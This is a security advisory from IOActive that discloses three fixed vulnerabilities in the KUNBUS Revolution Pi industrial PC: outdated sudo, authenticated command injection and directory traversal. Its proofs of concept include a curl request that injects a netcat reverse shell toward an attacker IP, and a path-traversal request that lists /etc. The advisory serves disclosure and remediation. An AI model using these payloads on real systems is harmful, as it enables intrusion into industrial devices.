IOActive Security Advisory

Title	KUNBUS Revolution Pi – Multiple Vulnerabilities
Severity	High and Medium – Two High and One Medium
Discovered by	Ethan Shackelford
Advisory Date	2024-03-28

Affected Product

- KUNBUS Revolution Pi version 2022-07-28-revpi-buster

Background

KUNBUS GmbH (KUNBUS) develops and offers products and solutions for industrial communication in automation, process, manufacturing and drive technology. This includes a comprehensive portfolio of real-time Ethernet and fieldbus-based protocol technology on state-of-the-art hardware platforms, as well as stacks suitable for the sensor level with IO-Link and IO-Link Wireless and the entry into wireless communication technology.

Revolution Pi is an open, modular, and inexpensive industrial PC based on the well-known Raspberry Pi. Housed in a slim DIN-rail housing and its three available base modules can be expanded by a variety of suitable I/O modules and fieldbus gateways. The 24V powered modules are connected via an overhead connector and can be configured via a graphical configuration tool.

Timeline

- 2023-03-09: IOActive discovers vulnerabilities
- 2023-07-31: IOActive notifies vendor
- 2023-12-14: Vendor informs that the vulnerabilities are fixed
- 2024-03-12: IOActive verifies vendor changes
- 2024-03-28: IOActive advisory published

Outdated Sudo Version

Severity: High

Status: Fixed

Threat and Impact

The Revolution Pi Linux system includes a copy of the sudo binary, which is used by some system software to enable privileged resource access. The version of sudo present on the system is 1.8.27, which several years out of date (since 2019-01-11) and is subject to several publicly known vulnerabilities, including the critical-risk CVE-2021-3156, which allows for privilege escalation to root from any user. NVD - CVE-2021-3156 (nist.gov)

This could allow a non-privileged user on the device to possibly escalate privileges to root, allowing for compromise of availability, integrity, and confidentiality of communications between the MMC-S and external components.

Proof of Concept

The following HTML code is the sudo version output from the Revolution Pi:

```
pi@RevPi80162:/ $ sudo -V
Sudo version 1.8.27
Sudoers policy plugin version 1.8.27
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.27
```

Recommendations

IOActive recommends ensuring that all third-party software is kept up to date with current security updates.

Remediation

Updated to version 1.9.5p2

Authenticated Command Injection in /php/dal.php Code Execution

Severity: High

Status: Fixed

Threat and Impact

The main PHP file governing the behavior of the Revolution Pi administrative web application is vulnerable to command injection, allowing for arbitrary code execution as the low-privileged www-data user.

An attacker authenticated to the web interface can exploit this vulnerability to gain a low-privileged shell on the device. The actions available to this user are limited, but other vulnerabilities identified in this report may allow for escalation of privilege and an increase in impact to device security.

Proof of Concept

The vulnerable code is found within the `SaveConfig` function in dal.php, which processes requests to update the Revolution Pi configuration from the web application. Authentication to the web interface is required for access to this function. The variable `$arrSaveConfig` comes directly from the HTTP request JSON data, unsanitized.

```
function SaveConfig($arrSaveConfig) {
    $saveValdownclockcpu = -1;
    $saveValdownclockcpuPar00 = -1;
    foreach($arrSaveConfig as $key => $value) {
        $hlpKey = str_replace("--",".",$key);

        if($hlpKey == 'downclock-cpu') {
            $saveValdownclockcpu = $value;
        }
        if($hlpKey == 'downclock-cpuPar00') {
            $saveValdownclockcpuPar00 = $value;
        }

        if ($saveValdownclockcpu != -1 &&
$saveValdownclockcpuPar00 != -1) {
            <snipped>
        } else {
            // process all normal generic parameters
            exec('/usr/bin/sudo /usr/bin/revpi-config ' .($value
== 0 ? 'disable':'enable'). ' ' .$hlpKey, $output, $retval);
        }

    }

    return $returnObject;
}
```


Thus, by passing an `$arrSaveConfig` including a key that begins with for example a semicolon, it is possible to hijack the execution of the revpi-config command above to execute and arbitrary command. For example, the following request will start a remote shell which connects back to the attacker over the network:

```
curl http://172.16.3.16/php/dal.php \
-H 'Cookie: PHPSESSID=ut899gu133n1fmp16chbk3f2f1' \
-d '{
    "mode": "SAVE_CONFIG",
    "hashcode": "JL5mO81eZYvZ5hKwy99aTLjTY4BkCgKl1PIPXJ3X",
    "arrSaveConfig": {
        ";rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc
172.16.3.31 4444 >/tmp/f &": 0
    }
}'
```

Recommendations

By far the most effective way to prevent OS command injection vulnerabilities is to never call out to OS commands from application-layer code. In virtually every case, there are alternate ways of implementing the required functionality using safer platform APIs.

If it is considered unavoidable to call out to OS commands with user-supplied input, then strong input validation must be performed. Some examples of effective validation include:

- Validating against an allowed list of permitted values.
- Validating that the input is a number.
- Validating that the input contains only alphanumeric characters, no other syntax or whitespace.

In this particular case, consider implementing an allow list composed only of valid `hlpKey` values. Based on the source code of the `revpi-config` script being called in this instance, this appears to include:

- `gui`
- `downclock-cpu`
- `perf-governor`
- `revpi-con-can`
- `var-log.mount`
- `dphys-swapfile`
- `revpi-tunnel`
- `teamviewer-revpi`
- `revpi7`

- pimodbus-master
- pimodbus-slave
- systemd-timesyncd
- ntp|ssh
- logi-rts|logiclab
- procon-web-iot
- nodered
- noderedrevpinodes-server
- revpipyload
- bluetooth
- ieee80211

Additional Information:
https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html

Remediation

Added regex filtering to ensure the `$hlpKey` and `$value` parameters are made up of only alphanumeric characters, hyphens, or dots, decreasing the likelihood of command injection.

```
<?php
$pattern='/[^A-Za-z0-9\-\.]/';
foreach($arrSaveConfig as $key => $value) {
    $hlpKey = str_replace("--",".",$key);

    if(preg_match($pattern, $hlpKey) !== 0 ||
preg_match($pattern, $value) !== 0){
        $returnObject->status = 'ERROR';
        $returnObject->message = 'Malformed config object';
        return $returnObject;
    }
}
?>
```

Further, include a call to the `escapeshellargs` PHP standard library function when passing `$hlpKey` to a call to `exec`, further reducing the possibility of command injection.

```
<?php
exec('/usr/bin/sudo /usr/bin/revpi-config ' .($value == 0 ?
'disable':'enable'). ' ' .escapeshellarg($hlpKey), $output,
$retval);
?>
```


Directory Traversal

Severity: Medium

Status: Fixed

Threat and Impact

The software uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the software does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

This means an authenticated web user can browse the files in the file system, gaining information about the system and making development of further attacks against the system easier.

Many file operations are intended to take place within a restricted directory. By using special elements such as ".." and "/" separators, attackers can escape outside of the restricted location to access files or directories that are elsewhere on the system. One of the most common special elements is the "../" sequence, which in most modern operating systems is interpreted as the parent directory of the current location.

A path traversal vulnerability allows attackers to access restricted directories and files outside of the web server's root directory.

Proof of Concept

Request:

```
curl 'http://localhost:41080/pictory/php/getFileList.php' -X POST
-H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64;
rv:109.0) Gecko/20100101 Firefox/110.0' -H 'Accept: text/plain,
*/*; q=0.01' -H 'Accept-Language: en-US,en;q=0.5' -H 'Content-
Type: application/json; charset=utf-8' -H 'X-Requested-With:
XMLHttpRequest' -H 'Origin: http://localhost:41080' -H
'Connection: keep-alive' -H 'Referer:
http://localhost:41080/pictory/index.html?hn=RevPi80162' -H
'Cookie:
Layout=%7B%22north%22%3A%7B%22size%22%3A70%2C%22initClosed%22%3Af
alse%2C%22initHidden%22%3Afalse%7D%2C%22south%22%3A%7B%22size%22%
3A200%2C%22initClosed%22%3Afalse%2C%22initHidden%22%3Afalse%2C%22
children%22%3A%7B%22layout1%22%3A%7B%22east%22%3A%7B%22size%22%3A
500%2C%22initClosed%22%3Afalse%2C%22initHidden%22%3Afalse%7D%7D%7
D%7D%2C%22east%22%3A%7B%22size%22%3A200%2C%22initClosed%22%3Atrue
%2C%22initHidden%22%3Afalse%2C%22children%22%3A%7B%7D%7D%2C%22wes
t%22%3A%7B%22size%22%3A200%2C%22initClosed%22%3Afalse%2C%22initHi
dden%22%3Afalse%2C%22children%22%3A%7B%22layout1%22%3A%7B%7D%7D%7
D%7D; PHPSESSID=i3c39ds4np1dh8v4ge5h1l44r0;
KUNBUS_RevPiLastPiCtoryVersion=2.0.6;
KUNBUS_RevPiLastWebstatusVersion=2.0.4;
KUNBUS_RevPiUser_RevPi80162=admin;
```



```
KUNBUS_RevPiSessionId_RevPi80162=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpX
VCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaGFzaGNvZGUiOiJlYzIwZmE4ZTY1NjMz
MGNiYjAwNWMwNzBjYzEwNGJjMyIsImV4cCI6MTU1MDQ0Njc2Mn0.J3_YyGMQG0SUd
7wzjMGA-akeGSnWrcnU6mXBagXBSwk' -H 'Sec-Fetch-Dest: empty' -H
'Sec-Fetch-Mode: cors' -H 'Sec-Fetch-Site: same-origin' --data-
raw '{"dir": "../../../../../../../../etc/","RevPiSessionId":
"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiw
iaGFzaGNvZGUiOiJlYzIwZmE4ZTY1NjMzMGNiYjAwNWMwNzBjYzEwNGJjMyIsImV4
cCI6MTU1MDQ0Njc2Mn0.J3_YyGMQG0SUd7wzjMGA-
akeGSnWrcnU6mXBagXBSwk"}'
```

Response with `/etc` directory listing:

```
.shadow.swp,2019|02|14|11|13|28;modules,2022|05|25|11|53|56;delus
er.conf,2016|06|26|22|00|56;inputrc,2022|01|28|03|29|58;subuid,20
19|02|18|00|14|41;sensors3.conf,2018|12|19|16|58|53;mke2fs.conf,2
020|01|10|02|19|57;fstab,2022|01|28|03|44|33;gshadow,2019|02|18|0
0|14|41;shadow,2019|02|18|00|14|45;environment,2022|01|28|03|25|1
0;shells,2022|01|28|03|25|10;rmt,2019|04|23|18|05|54;debconf.conf
,2021|10|01|11|39|27;paxctld.conf,2016|12|25|11|43|52;vdpau_wrapp
er.cfg,2019|01|20|20|19|20;gai.conf,2018|08|01|07|10|47;nsswitch.
conf,2022|01|28|03|29|44;hosts.deny,2022|01|28|03|29|04;rpc,2019|
02|10|03|05|36;subuid-
,2022|01|28|03|27|33;networks,2022|01|28|03|26|19;.shadow.swo,201
9|02|14|11|13|31;RTIMULib.ini,2015|08|19|17|02|31;papersize,2022|
01|28|03|32|45;rpi-
issue,2022|01|28|03|44|34;timezone,2022|05|25|12|02|21;profile,20
22|01|28|03|29|58;bash.bashrc,2019|04|18|06|12|36;ca-
certificates.conf,2022|01|28|03|29|15;mailcap,2022|05|25|12|02|35
;mime.types,2019|02|09|13|32|33;dhcpcd.conf,2022|05|25|11|54|32;l
ocale.alias,2021|09|08|11|51|09;adduser.conf,2022|01|28|03|25|36;
sudoers,2021|01|20|13|26|17;rc.local,2022|01|28|03|29|58;login.de
fs,2022|01|28|03|29|58;hosts,2019|02|14|11|12|33;passwd~,2023|02|
15|00|13|56;passwd-
,2019|02|18|00|14|41;resolvconf.conf,2016|04|26|08|02|35;crontab,
2019|10|11|09|58|52;issue.net,2021|10|09|16|13|58;usb_modeswitch.
conf,2018|02|23|20|56|18;rsyslog.conf,2022|05|25|11|53|56;.pwd.lo
ck,2022|01|28|03|25|10;machine-
id,2019|02|14|11|12|33;idmapd.conf,2020|06|24|09|54|47;issue,2022
|05|25|11|54|32;group-
,2019|02|14|11|12|01;adjtime,2022|08|11|14|25|47;request-
key.conf,2019|03|06|17|18|19;passwd,2019|02|18|00|14|48;subgid,20
19|02|18|00|14|41;motd,2021|10|09|16|13|58;bash_completion,2019|0
2|12|00|36|02;magic.mime,2021|01|25|22|40|17;.passwd.swp,2019|02|
14|11|14|58;shadow-
,2019|02|14|11|13|07;services,2019|02|10|03|05|36;bindresvport.bl
acklist,2019|05|14|03|48|54;manpath.config,2019|02|10|13|14|20;ho
stname,2019|02|14|11|12|33;libaudit.conf,2019|04|25|16|47|32;pip.
conf,2019|02|07|13|13|24;gshadow-
,2019|02|14|11|12|01;mtab,2019|02|18|01|18|35;resolv.conf,2022|01
|28|03|44|33;fuse.conf,2014|06|20|08|23|50;magic,2021|01|25|22|40
|17;logrotate.conf,2022|05|25|11|53|56;fb.modes,2017|11|12|00|29|
```



```
03;ld.so.preload,2022|01|28|03|27|53;sysctl.conf,2022|05|25|11|54
|32;dphys-
swapfile,2022|01|28|03|29|58;host.conf,2021|10|09|16|13|58;pam.co
nf,2019|02|14|08|08|47;hosts.allow,2022|01|28|03|29|04;localtime,
2022|03|22|23|11|15;group,2019|02|18|00|14|41;wgetrc,2019|04|05|1
5|36|38;ld.so.conf,2019|05|14|03|48|54;nanorc,2019|06|12|02|23|23
;netconfig,2018|12|11|15|41|49;debian_version,2022|03|27|04|43|37
;xattr.conf,2019|03|01|23|03|21;ucf.conf,2018|12|14|09|51|14;subg
id-
,2022|01|28|03|27|33;locale.gen,2022|05|25|11|54|16;mailcap.order
,2019|02|09|13|32|33;ld.so.cache,2022|05|25|12|02|36;os-
release,2022|03|27|04|43|37;protocols,2019|02|10|03|05|36;sos.con
f,2018|06|25|12|42|14;securetty,2018|07|27|10|07|37;
```

Recommendations

Install the latest version of the Web server and ensure that all patches have been applied.

At the application layer, filter any user input to remove everything but the known good data. This will ensure that only what should be entered in the field will be submitted to the server. Encoding and double encoding must be considered too, for example, `%2e%2e%2f` represents the characters ../ and `%252e%252e%255c` represents the ..\ characters.

Other extra layers of protection could be put in place, such as WAF (Web Application Firewall) and/or other network security mechanisms (IPS).

Remediation

Added regex filtering to ensure the user-supplied `$target_dir` does not contain any dots and does not begin with a slash. Additionally prepends `../` to ensure that directory is relative to the web execution directory.

```php
<?php
$target_dir = $decoded_params->dir;
# must not contain any dots
$dot_pattern='/\./';
# must not start with slash or tilde
$slash_pattern='^[\/~]';

if(preg_match($dot_pattern, $target_dir) !== 0 ||
preg_match($slash_pattern, $target_dir !== 0)) {
    return;
}

$target_dir = '../'.$target_dir;
chdir($target_dir);
?>
```

